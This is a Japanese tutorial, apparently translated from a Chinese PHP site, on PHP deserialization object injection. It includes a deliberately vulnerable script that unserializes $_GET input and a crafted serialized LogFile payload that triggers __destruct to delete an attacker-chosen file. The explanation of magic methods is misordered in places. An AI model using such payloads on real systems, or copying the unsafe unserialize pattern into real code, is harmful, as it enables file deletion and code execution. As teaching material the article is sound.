PHP オブジェクト インジェクションは非常に一般的な脆弱性ですが、このタイプの脆弱性を悪用するのは多少困難ですが、それでも非常に危険です。この記事では主に、PHP の逆シリアル化オブジェクト インジェクションの脆弱性について詳しく説明します。お役に立てれば幸いです。
serializeはオブジェクトを文字列形式に変換し、保存に使用できます
unserializeはシリアル化された文字列をオブジェクトに変換します
PHPクラスには、マジック関数、マジック関数名と呼ばれるいくつかの特別な関数が含まれる場合があります__construct、__destruct、__toString、__sleep、__wakeup などのシンボル __ で始まります。
__construct が呼び出され、オブジェクトが破棄されるときに
__destruct が呼び出され、オブジェクトが文字列として使用されるときに
__toString が呼び出されるなど、特定の状況下で自動的に呼び出されます。
<?php class TestClass { public $variable = 'This is a string'; public function PrintVariable() { echo $this->variable . '<br />'; } public function __construct() { echo '__construct <br />'; } public function __destruct() { echo '__destruct <br />'; } public function __toString() { return '__toString<br />'; } } $object = new TestClass(); $object->PrintVariable(); echo $object; ?>
変数を渡すプロセスで、スクリプト ファイル間で変数値を渡すプロセスが発生する可能性があります。想像してみてください。スクリプト内で前のスクリプトの変数を呼び出したいが、前のスクリプトが実行されてすべての変数と内容が解放された場合、どのようにすれば前のスクリプトをループして待機する必要があるでしょうか。次のスクリプト呼び出しについてはどうですか? これは明らかに非現実的です。
__sleep マジック メソッドは、オブジェクトがシリアル化されるときに呼び出されます。
__wakeup マジック メソッドは、オブジェクトが逆シリアル化されるときに呼び出されます。
<?phpclass User { public $age = 0; public $name = ''; public function Printx() { echo $this->name.' is '.$this->age.' years old.<br/>'; } public function __construct() { echo '__construct<br />'; } public function __destruct() { echo '__destruct<br />'; } public function __wakeup() { echo '__wakeup<br />'; } public function __sleep() { echo '__sleep<br />'; return array('name', 'age'); } }$usr = new User(); $usr->age = 20; $usr->name = 'John'; $usr->Printx(); echo serialize($usr);echo '<br/>'; $str = 'O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'; $user2 = unserialize($str);$user2->Printx();?>
シリアル化されたオブジェクトには、攻撃者が制御するオブジェクト値が含まれていることを覚えておいてください。
たとえば、ログをファイルに一時的に保存するクラスが見つかるかもしれません。オブジェクトが破棄されると、ログ ファイルは不要になり、削除される可能性があります。次のコードを log.php として保存します。
<?php //log.php class LogFile { // log文件名 public $filename = 'error.log'; // 储存日志文件 public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // 删除日志文件 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>
test.php これがユーザーの php であると仮定します。
<?php //test.php include 'logfile.php'; // ... 一些使用LogFile类的代码... // 简单的类定义 class User { // 类数据 public $age = 0; public $name = ''; // 输出数据 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 重建用户输入的数据 $usr = unserialize($_GET['usr_serialized']); ?>
123.php
<?php //123.php include 'logfile.php'; $obj = new LogFile(); $obj->filename = '1.php'; echo serialize($obj) . '<br />'; ?>
1.php から始めます:
ここで、ユーザーがシリアル化された文字列を渡し、test.php がそれを逆シリアル化します。 usr_serialized=
O:7:%22LogFile%22:1:{s:8:%22filename%22;s:5:%221.php%22;}
結果はリリースプロセス中に解析されますオブジェクトに対して、log.php の __destruct() 関数が呼び出され、ファイル 1.php が削除されました。
使用法の概要
変数が制御可能であり、シリアル化されていない操作が実行される場所にシリアル化されたオブジェクトを挿入して、コードの実行やその他の不正な動作を実現します。
__wakeup と __destruct はさておき、このタイプの脆弱性を悪用できる非常に一般的なインジェクション ポイントがいくつかあり、すべてはプログラム ロジックに依存します。オブジェクトが存在しない関数を呼び出す場合は __call が呼び出されます。
オブジェクトが存在しないクラス変数にアクセスしようとする場合は __get と __set が呼び出されます。
しかし、この脆弱性の悪用はマジック関数に限定されるものではなく、同じ考え方は通常の関数にも適用できます。
たとえば、User クラスは一部のユーザー データを検索して出力する get メソッドを定義できますが、他のクラスはデータベースからデータを取得する get メソッドを定義する可能性があり、これが SQL インジェクションの脆弱性を引き起こす可能性があります。
jsonのシリアル化と逆シリアル化関数のJavaScript実装の例
以上がPHP の逆シリアル化オブジェクト インジェクションの脆弱性についての詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。